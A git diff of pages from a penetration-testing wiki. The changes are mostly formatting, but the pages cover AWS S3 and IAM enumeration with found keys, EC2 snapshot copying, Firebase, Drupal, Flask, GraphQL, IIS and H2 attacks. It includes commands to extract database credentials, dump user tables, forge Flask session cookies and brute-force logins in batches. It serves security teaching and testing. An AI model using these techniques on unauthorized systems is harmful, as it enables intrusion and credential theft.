11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` -Check that the resolved domain have the word "website". -You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com` +Check that the resolved domain have the word "website".\ +You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` -If you try to access a bucket, but in the domain name you specify another region \(for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be redirected to the correct location. +If you try to access a bucket, but in the domain name you specify another region (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be redirected to the correct location. ## Enumerating the bucket @@ -79,11 +79,11 @@ To test the openness of the bucket a user can just enter the URL in their web br Open to everyone: -![](../../../.gitbook/assets/image%20%2880%29.png) +![](<../../../.gitbook/assets/image (104).png>) Private: -![](../../../.gitbook/assets/image%20%2836%29.png) +![](<../../../.gitbook/assets/image (105).png>) You can also check this with the `aws` tool: @@ -101,71 +101,71 @@ If the bucket doesn't have a domain name, when trying to enumerate it, **only pu If you find some private AWS keys, you can create a profile using those: -```text +``` aws configure --profile flawscloud ``` -Notice that if you find a users credentials in the meta-data folder, you will need to add the _aws\_session\_token_ to the profile. +Notice that if you find a users credentials in the meta-data folder, you will need to add the _aws_session_token_ to the profile. ### Get buckets -And the check to which buckets this profile is related to \(may or may not have access to them\): +And the check to which buckets this profile is related to (may or may not have access to them): -```text +``` aws s3 ls --profile flawscloud ``` -![](../../../.gitbook/assets/image%20%2815%29.png) +![](<../../../.gitbook/assets/image (113).png>) ### User Information Check the **UserId, Account number** and **UserName** doing: -```text +``` aws --profile flawscloud sts get-caller-identity ``` -![](../../../.gitbook/assets/image%20%28180%29.png) +![](<../../../.gitbook/assets/image (114).png>) -```text +``` aws iam get-user --profile level6 ``` -![](../../../.gitbook/assets/image%20%28168%29.png) +![](<../../../.gitbook/assets/image (117).png>) ### Get User Policies -```text +``` aws iam list-attached-user-policies --profile --user-name ``` -![](../../../.gitbook/assets/image%20%28194%29.png) +![](<../../../.gitbook/assets/image (118).png>) To get information about a policy you first need the DefaultVersionId: -```text +``` aws iam get-policy --profile --policy-arn #Example: arn:aws:iam::975426262029:policy/list_apigateways ``` -![](../../../.gitbook/assets/image%20%28170%29.png) +![](<../../../.gitbook/assets/image (119).png>) Now, you can see the policy: -```text +``` aws iam get-policy-version --profile level6 --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 ``` -![](../../../.gitbook/assets/image%20%28334%29.png) +![](<../../../.gitbook/assets/image (120).png>) This means that you can access `GET arn:aws:apigateway:us-west-2::/restapis/*` Now it's time to find out possible lambda functions to execute: -```text +``` aws --region us-west-2 --profile level6 lambda list-functions ``` -![](../../../.gitbook/assets/image%20%2871%29.png) +![](<../../../.gitbook/assets/image (121).png>) A lambda function called "Level6" is available. Lets find out how to call it: @@ -173,7 +173,7 @@ A lambda function called "Level6" is available. Lets find out how to call it: aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` -![](../../../.gitbook/assets/image%20%28185%29.png) +![](<../../../.gitbook/assets/image (122).png>) Now, that you know the name and the ID you can get the Name: @@ -181,9 +181,9 @@ Now, that you know the name and the ID you can get the Name: aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` -![](../../../.gitbook/assets/image%20%2824%29.png) +![](<../../../.gitbook/assets/image (123).png>) -And finally call the function accessing \(notice that the ID, Name and functoin-name appears in the URL\): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +And finally call the function accessing (notice that the ID, Name and functoin-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) ### User privileges enumeration and privilege escalation @@ -202,16 +202,16 @@ docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4 ### Get Snapshots -Notice that _\*\*_AWS allows you to make snapshots of EC2's and databases \(RDS\). The main purpose for that is to make backups, but people sometimes use snapshots to get access back to their own EC2's when they forget the passwords. +Notice that _\*\*_AWS allows you to make snapshots of EC2's and databases (RDS). The main purpose for that is to make backups, but people sometimes use snapshots to get access back to their own EC2's when they forget the passwords. -Look for snapshots this user has access to \(note the **SnapshotId**\): +Look for snapshots this user has access to (note the **SnapshotId**): ```bash #This timeyou need to specify the region aws ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2 ``` -![](../../../.gitbook/assets/image%20%284%29.png) +![](<../../../.gitbook/assets/image (115).png>) If you run that command without specifying the --owner-id you can see how many publicly available EC2 snapshots are. @@ -223,9 +223,9 @@ Create a copy of the backup: aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` -**Mount it in a EC2 VM under your control** \(it has to be in the same region as the copy of the backup\): +**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup): -**step 1:** Head over to EC2 –> Volumes and create a new volume of your preferred size and type. +**step 1:** Head over to EC2 –> Volumes and create a new volume of your preferred size and type. **Step 2:** Select the created volume, right click and select the “attach volume” option. @@ -233,7 +233,7 @@ aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --re **Step 4:** Now, login to your ec2 instance and list the available disks using the following command. -```text +``` lsblk ``` @@ -241,7 +241,7 @@ The above command will list the disk you attached to your instance. **Step5:** -![](../../../.gitbook/assets/image%20%28304%29.png) +![](<../../../.gitbook/assets/image (116).png>) ## SSRF attacks through AWS @@ -249,23 +249,22 @@ If you want to read about how can you exploit meta-data in AWS [you should read ## Tools to scan the configuration of buckets **or to discover buckets** -{% embed url="https://github.com/sa7mon/S3Scanner" caption="" %} +{% embed url="https://github.com/sa7mon/S3Scanner" %} -{% embed url="https://github.com/kromtech/s3-inspector" caption="" %} +{% embed url="https://github.com/kromtech/s3-inspector" %} -{% embed url="https://github.com/jordanpotti/AWSBucketDump" caption="" %} +{% embed url="https://github.com/jordanpotti/AWSBucketDump" %} -{% embed url="https://github.com/fellchase/flumberboozle" caption="" %} +{% embed url="https://github.com/fellchase/flumberboozle" %} -{% embed url="https://github.com/smaranchand/bucky" caption="" %} +{% embed url="https://github.com/smaranchand/bucky" %} -{% embed url="https://github.com/tomdev/teh\_s3\_bucketeers" caption="" %} +{% embed url="https://github.com/tomdev/teh_s3_bucketeers" %} \*\*\*\* ## **List of Open Buckets** -{% embed url="https://buckets.grayhatwarfare.com/" caption="" %} +{% embed url="https://buckets.grayhatwarfare.com/" %} \*\*\*\* - diff --git a/pentesting/pentesting-web/buckets/firebase-database.md b/pentesting/pentesting-web/buckets/firebase-database.md index 656d6ee9..23c46468 100644 --- a/pentesting/pentesting-web/buckets/firebase-database.md +++ b/pentesting/pentesting-web/buckets/firebase-database.md @@ -6,21 +6,22 @@ Firebase is a Backend-as-a-Services mainly for mobile application. It is focused ### Pentest Methodology -Therefore, some **Firebase endpoints** could be found in **mobile applications**. It is possible that the Firebase endpoint used is **configured badly grating everyone privileges to read \(and write\)** on it. +Therefore, some **Firebase endpoints **could be found in **mobile applications**. It is possible that the Firebase endpoint used is** configured badly grating everyone privileges to read (and write)** on it. This is the common methodology to search and exploit poorly configured Firebase databases: -1. **Get the APK** of app you can use any of the tool to get the APK from the device for this POC. You can use “APK Extractor” [https://play.google.com/store/apps/details?id=com.ext.ui&hl=e](https://hackerone.com/redirect?signature=3774f35d1b5ea8a4fd209d80084daa9f5887b105&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.ext.ui%26hl%3Den) -2. **Decompile** the APK using **apktool**, follow the below command to extract the source code from the APK. +1. **Get the APK** of app you can use any of the tool to get the APK from the device for this POC.\ + You can use “APK Extractor” [https://play.google.com/store/apps/details?id=com.ext.ui\&hl=e](https://hackerone.com/redirect?signature=3774f35d1b5ea8a4fd209d80084daa9f5887b105\&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.ext.ui%26hl%3Den) +2. **Decompile **the APK using **apktool**, follow the below command to extract the source code from the APK. 3. Go to the _**res/values/strings.xml**_ and look for this and **search** for “**firebase**” keyword 4. You may find something like this URL “_**https://xyz.firebaseio.com/**_” -5. Next, go to the browser and **navigate to the found URL**: _https://xyz.firebaseio.com/.json_ +5. Next, go to the browser and **navigate to the found URL**:_ https://xyz.firebaseio.com/.json_ 6. 2 type of responses can appear: 1. “**Permission Denied**”: This means that you cannot access it, so it's well configured 2. “**null**” response or a bunch of **JSON data**: This means that the database is public and you at least have read access. 1. In this case, you could **check for writing privileges**, an exploit to test writing privileges can be found here: [https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit](https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit) -**Interesting note**: When analysing a mobile application with **MobSF**, if it finds a firebase database it will check if this is **publicly available** and will notify it. +**Interesting note**: When analysing a mobile application with **MobSF**, if it finds a firebase database it will check if this is** publicly available** and will notify it. Alternatively, you can use [Firebase Scanner](https://github.com/shivsahni/FireBaseScanner), a python script that automates the task above as shown below: @@ -56,7 +57,7 @@ To test other actions on the database, such as writing to the database, refer to If you decompile the iOS application and open the file `GoogleService-Info.plist` and you find the API Key and APP ID: -* API KEY **AIzaSyAs1\[...\]** +* API KEY **AIzaSyAs1\[...]** * APP ID **1:612345678909:ios:c212345678909876** You may be able to access some interesting information @@ -69,4 +70,3 @@ You may be able to access some interesting information * [https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/](https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/) * [https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1](https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1) - diff --git a/pentesting/pentesting-web/drupal.md b/pentesting/pentesting-web/drupal.md index 9e0dac37..960698c6 100644 --- a/pentesting/pentesting-web/drupal.md +++ b/pentesting/pentesting-web/drupal.md @@ -4,32 +4,32 @@ ### Register -In _/user/register_ just try to create a username and if the name is already taken it will be notified: +In_ /user/register_ just try to create a username and if the name is already taken it will be notified: -![](../../.gitbook/assets/image%20%28248%29.png) +![](<../../.gitbook/assets/image (254).png>) ### Request new password If you request a new password for an existing username: -![](../../.gitbook/assets/image%20%28301%29.png) +![](<../../.gitbook/assets/image (255).png>) If you request a new password for a non-existent username: -![](../../.gitbook/assets/image%20%2886%29.png) +![](<../../.gitbook/assets/image (256).png>) ## Number of users enumeration -Accessing _/user/<number>_ you can see the number of existing users, in this case is 2 as _/users/3_ returns a not found error: +Accessing _/user/\_ you can see the number of existing users, in this case is 2 as _/users/3_ returns a not found error: -![](../../.gitbook/assets/image%20%2826%29.png) +![](<../../.gitbook/assets/image (257).png>) -![](../../.gitbook/assets/image%20%28227%29%20%281%29%20%281%29.png) +![](<../../.gitbook/assets/image (227) (1) (1) (1).png>) ## Hidden pages enumeration -**Fuzz `/node/$` where `$` is a number** \(from 1 to 500 for example\). -You could find **hidden pages** \(test, dev\) which are not referenced by the search engines. +**Fuzz `/node/$` where `$` is a number** (from 1 to 500 for example).\ +You could find **hidden pages** (test, dev) which are not referenced by the search engines. ### Installed modules info @@ -45,27 +45,26 @@ curl https://example.com/config/sync/swiftmailer.transport.yml ## Code execution inside Drupal with admin creds -You need the **plugin php to be installed** \(check it accessing to _/modules/php_ and if it returns a **403** then, **exists**, if **not found**, then the **plugin php isn't installed**\) +You need the **plugin php to be installed** (check it accessing to_ /modules/php_ and if it returns a **403 **then, **exists**, if **not found**, then the **plugin php isn't installed**) -Go to _Modules_ -> \(**Check**\) _PHP Filter_ -> _Save configuration_ +Go to _Modules _-> (**Check**) _PHP Filter_ -> _Save configuration_ -![](../../.gitbook/assets/image%20%28247%29.png) +![](<../../.gitbook/assets/image (252).png>) -Then click on _Add content_ -> Select _Basic Page_ or _Article -_> Write _php shellcode on the body_ -> Select _PHP code_ in _Text format_ -> Select _Preview_ +Then click on _Add content_ -> Select _Basic Page_ or _Article -_> Write _php shellcode on the body_ -> Select _PHP code_ in _Text format_ -> Select _Preview_ -![](../../.gitbook/assets/image%20%28266%29.png) +![](<../../.gitbook/assets/image (253).png>) ## Post Exploitation ### Read settings.php -```text +``` find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null ``` ### Dump users from DB -```text +``` mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users' ``` - diff --git a/pentesting/pentesting-web/flask.md b/pentesting/pentesting-web/flask.md index 9ed46f52..e7e2efb3 100644 --- a/pentesting/pentesting-web/flask.md +++ b/pentesting/pentesting-web/flask.md @@ -1,6 +1,6 @@ # Flask -**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.** +**Probably if you are playing a CTF a Flask application will be related to **[**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.** ## Cookies @@ -12,7 +12,7 @@ Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi #### Manual -Get the first part of the cookie until the first point and Base64 decode it> +Get the first part of the cookie until the first point and Base64 decode it> ```bash echo "ImhlbGxvIg" | base64 -d @@ -48,7 +48,7 @@ flask-unsign --unsign --cookie < cookie.txt flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' ``` -#### Signing using legacy \(old versions\) +#### Signing using legacy (old versions) ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy @@ -56,5 +56,4 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ### SQLi in Flask session cookie with SQLmap -[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) ****uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret. - +[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval)** **uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret. diff --git a/pentesting/pentesting-web/graphql.md b/pentesting/pentesting-web/graphql.md index 6edd3083..95e0bd7c 100644 --- a/pentesting/pentesting-web/graphql.md +++ b/pentesting/pentesting-web/graphql.md @@ -15,46 +15,46 @@ When performing your directory brute force attacks make sure to add the followin * _/graphql.php_ * _/graphql/console_ -Once you find an open graphQL instance you need to know what queries it supports. This can be done by using the introspection system, more details can be found here: [**GraphQL: A query language for APIs.** +Once you find an open graphQL instance you need to know what queries it supports. This can be done by using the introspection system, more details can be found here: [**GraphQL: A query language for APIs.**\ \_It’s often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so…\_graphql.org](https://graphql.org/learn/introspection/) ### Basic Enumeration -Graphql usually supports GET, POST \(x-www-form-urlencoded\) and POST\(json\). +Graphql usually supports GET, POST (x-www-form-urlencoded) and POST(json). -#### query={\_\_schema{types{name,fields{name}}}} +#### query={\__schema{types{name,fields{name}}}} With this query you will find the name of all the types being used: -![](../../.gitbook/assets/image%20%28219%29.png) +![](<../../.gitbook/assets/image (202).png>) -#### query={\_\_schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}} +#### query={\__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}} -With this query you can extract all the types, it's fields, and it's arguments \(and the type of the args\). This will be very useful to know how to query the database. +With this query you can extract all the types, it's fields, and it's arguments (and the type of the args). This will be very useful to know how to query the database. -![](../../.gitbook/assets/image%20%28287%29.png) +![](<../../.gitbook/assets/image (207).png>) #### Errors It's interesting to know if the **errors** are going to be **shown** as they will contribute with useful **information.** -```text +``` ?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist} ``` -![](../../.gitbook/assets/image%20%28162%29.png) +![](<../../.gitbook/assets/image (205).png>) #### Enumerate Database Schema via Introspection -```text +``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` -The last code line is a graphql query that will dump all the meta-information from the graphql \(objects names, parameters, types...\) +The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...) -![](../../.gitbook/assets/image%20%28159%29.png) +![](<../../.gitbook/assets/image (206).png>) If introspection is enabled you can use [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) to view in a GUI all the options. @@ -66,13 +66,13 @@ More and more **graphql endpoints are disabling introspection**. However, the er Now that we know which kind of information is saved inside the database, let's try to **extract some values**. -In the introspection you can find **which object you can directly query for** \(because you cannot query an object just because it exists\). In the following image you can see that the "_queryType_" is called "_Query_" and that one of the fields of the "_Query_" object is "_flags_", which is also a type of object. Therefore you can query the flag object. +In the introspection you can find **which object you can directly query for** (because you cannot query an object just because it exists). In the following image you can see that the "_queryType_" is called "_Query_" and that one of the fields of the "_Query_" object is "_flags_", which is also a type of object. Therefore you can query the flag object. -![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png) +![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>) Note that the type of the query "_flags_" is "_Flags_", and this object is defined as below: -![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png) +![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57.png>) You can see that the "_Flags_" objects are composed by **name** and .**value** Then you can get all the names and values of the flags with the query: @@ -82,7 +82,7 @@ query={flags{name, value}} Note that in case the **object to query** is a **primitive** **type** like **string** like in the following example -![](../../.gitbook/assets/image%20%28441%29.png) +![](<../../.gitbook/assets/image (441).png>) You can just query is with: @@ -90,34 +90,34 @@ You can just query is with: query={hiddenFlags} ``` -In another example where there were 2 objects inside the "_Query_" type object: "_user_" and "_users_". +In another example where there were 2 objects inside the "_Query_" type object: "_user_" and "_users_".\ If these objects don't need any argument to search, could **retrieve all the information from them** just **asking** for the data you want. In this example from Internet you could extract the saved usernames and passwords: -![](../../.gitbook/assets/image%20%28138%29.png) +![](<../../.gitbook/assets/image (208).png>) However, in this example if you try to do so you get this **error**: -![](../../.gitbook/assets/image%20%2833%29.png) +![](<../../.gitbook/assets/image (210).png>) -Looks like somehow it will search using the "_**uid**_" argument of type _**Int**_. +Looks like somehow it will search using the "_**uid**_" argument of type _**Int**_.\ Anyway, we already knew that, in the [Basic Enumeration](graphql.md#basic-enumeration) section a query was purposed that was showing us all the needed information: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` If you read the image provided when I run that query you will see that "_**user**_" had the **arg** "_**uid**_" of type _Int_. -So, performing some light _**uid**_ bruteforce I found that in _**uid**=**1**_ a username and a password was retrieved: +So, performing some light _**uid**_ bruteforce I found that in _**uid**=**1**_ a username and a password was retrieved:\ `query={user(uid:1){user,password}}` -![](../../.gitbook/assets/image%20%28290%29.png) +![](<../../.gitbook/assets/image (211).png>) -Note that I **discovered** that I could ask for the **parameters** "_**user**_" and "_**password**_" because if I try to look for something that doesn't exist \(`query={user(uid:1){noExists}}`\) I get this error: +Note that I **discovered** that I could ask for the **parameters** "_**user**_" and "_**password**_" because if I try to look for something that doesn't exist (`query={user(uid:1){noExists}}`) I get this error: -![](../../.gitbook/assets/image%20%28333%29.png) +![](<../../.gitbook/assets/image (213).png>) And during the **enumeration phase** I discovered that the "_**dbuser**_" object had as fields "_**user**_" and "_**password**_. -#### Query string dump trick \(thanks to @BinaryShadow\_\) +#### Query string dump trick (thanks to @BinaryShadow\_) -If you can search by a string type, like: `query={theusers(description: ""){username,password}}` and you **search for an empty string** it will **dump all data**. \(_Note this example isn't related with the example of the tutorials, for this example suppose you can search using "**theusers**" by a String field called "**description**"_\). +If you can search by a string type, like: `query={theusers(description: ""){username,password}}` and you **search for an empty string** it will **dump all data**. (_Note this example isn't related with the example of the tutorials, for this example suppose you can search using "**theusers**" by a String field called "**description**"_). GraphQL is a relatively new technology that is starting to gain some traction among startups and large corporations. Other than missing authentication by default graphQL endpoints can be vulnerable to other bugs such as IDOR. @@ -193,13 +193,13 @@ Or even **relations of several different objects using aliases**: **Mutations are used to make changes in the server-side.** -In the **introspection** you can find the **declared** **mutations**. In the following image the "_MutationType_" is called "_Mutation_" and the "_Mutation_" object contains the names of the mutations \(like "_addPerson_" in this case\): +In the **introspection** you can find the **declared** **mutations**. In the following image the "_MutationType_" is called "_Mutation_" and the "_Mutation_" object contains the names of the mutations (like "_addPerson_" in this case): -![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png) +![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27.png>) For this example imagine a data base with **persons** identified by the email and the name and **movies** identified by the name and rating. A **person** can be **friend** with other **persons** and a person can **have movies**. -A mutation to **create new** movies inside the database can be like the following one \(in this example the mutation is called `addMovie`\): +A mutation to **create new** movies inside the database can be like the following one (in this example the mutation is called `addMovie`): ```javascript mutation { @@ -214,7 +214,7 @@ mutation { **Note how both the values and type of data are indicated in the query.** -There may also be also a **mutation** to **create** **persons** \(called `addPerson` in this example\) with friends and files \(note that the friends and films have to exist before creating a person related to them\): +There may also be also a **mutation** to **create** **persons** (called `addPerson` in this example) with friends and files (note that the friends and films have to exist before creating a person related to them): ```javascript mutation { @@ -246,22 +246,24 @@ mutation { ### Batching brute-force in 1 API request -This information was take from [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/). +This information was take from [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ Authentication through GraphQL API with **simultaneously sending many queries with different credentials** to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords. Below you can find the simplest demonstration of an application authentication request, with **3 different email/passwords pairs at a time**. Obviously it’s possible to send thousands in a single request in the same way: -![](../../.gitbook/assets/image%20%28245%29.png) +![](<../../.gitbook/assets/image (182).png>) As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token. -![](../../.gitbook/assets/image%20%28119%29.png) +![](<../../.gitbook/assets/image (119) (2).png>) ## CSRF in GraphQL If you don't know what CSRF is read the following page: -{% page-ref page="../../pentesting-web/csrf-cross-site-request-forgery.md" %} +{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} +[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) +{% endcontent-ref %} Out there you are going to be able to find several GraphQL endpoints **configured without CSRF tokens.** @@ -291,23 +293,23 @@ For more information **check the** [**original post here**](https://blog.doyense ### Clients -{% embed url="https://github.com/graphql/graphiql" caption="" %} +{% embed url="https://github.com/graphql/graphiql" %} -{% embed url="https://github.com/swisskyrepo/GraphQLmap" caption="" %} +{% embed url="https://github.com/swisskyrepo/GraphQLmap" %} -{% embed url="https://altair.sirmuel.design/" caption="" %} +{% embed url="https://altair.sirmuel.design/" %} -{% embed url="https://blog.doyensec.com/2020/03/26/graphql-scanner.html" caption="" %} +{% embed url="https://blog.doyensec.com/2020/03/26/graphql-scanner.html" %} -{% embed url="https://github.com/doyensec/inql" caption="" %} +{% embed url="https://github.com/doyensec/inql" %} -{% embed url="https://altair.sirmuel.design/" caption="" %} +{% embed url="https://altair.sirmuel.design/" %} -{% embed url="https://gitlab.com/dee-see/graphql-path-enum" caption="" %} +{% embed url="https://gitlab.com/dee-see/graphql-path-enum" %} ### Automatic Tests -{% embed url="https://graphql-dashboard.herokuapp.com/" caption="" %} +{% embed url="https://graphql-dashboard.herokuapp.com/" %} * Video explaining AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) @@ -319,4 +321,3 @@ For more information **check the** [**original post here**](https://blog.doyense * [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)\*\*\*\* * \*\*\*\*[**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.m**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)\*\*\*\* * \*\*\*\*[**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)\*\*\*\* - diff --git a/pentesting/pentesting-web/h2-java-sql-database.md b/pentesting/pentesting-web/h2-java-sql-database.md index 89f091e3..4d467cdb 100644 --- a/pentesting/pentesting-web/h2-java-sql-database.md +++ b/pentesting/pentesting-web/h2-java-sql-database.md @@ -4,13 +4,12 @@ Official page: [https://www.h2database.com/html/main.html](https://www.h2databas ### Tricks -You can indicate a **non-existent name a of database** in order to **create a new database without valid credentials** \(**unauthenticated**\): +You can indicate a** non-existent name a of database** in order to **create a new database without valid credentials** (**unauthenticated**): -![](../../.gitbook/assets/image%20%28342%29.png) +![](<../../.gitbook/assets/image (258).png>) -Or if you know that for example a **mysql is running** and you know the **database name** and the **credentials** for that database, you can just access it: +Or if you know that for example a** mysql is running** and you know the** database name** and the **credentials **for that database, you can just access it: -![](../../.gitbook/assets/image%20%2837%29.png) +![](<../../.gitbook/assets/image (259).png>) _**Tricks from box Hawk of HTB.**_ - diff --git a/pentesting/pentesting-web/iis-internet-information-services.md b/pentesting/pentesting-web/iis-internet-information-services.md index e03ad725..03e8f45b 100644 --- a/pentesting/pentesting-web/iis-internet-information-services.md +++ b/pentesting/pentesting-web/iis-internet-information-services.md @@ -11,14 +11,14 @@ Test executable file extensions: On any IIS server where you get a 302 you can try stripping the Host header and using HTTP/1.0 and inside the response the Location header could point you to the internal IP address: -```text +``` nc -v domain.com 80 openssl s_client -connect domain.com:443 ``` Response disclosing the internal IP: -```text +``` GET / HTTP/1.0 HTTP/1.1 302 Moved Temporarily @@ -43,11 +43,11 @@ Download the list that I have created: It was created merging the contents of the following lists: -[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt) -[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html) -[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt) -[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt) -[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt) +[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ 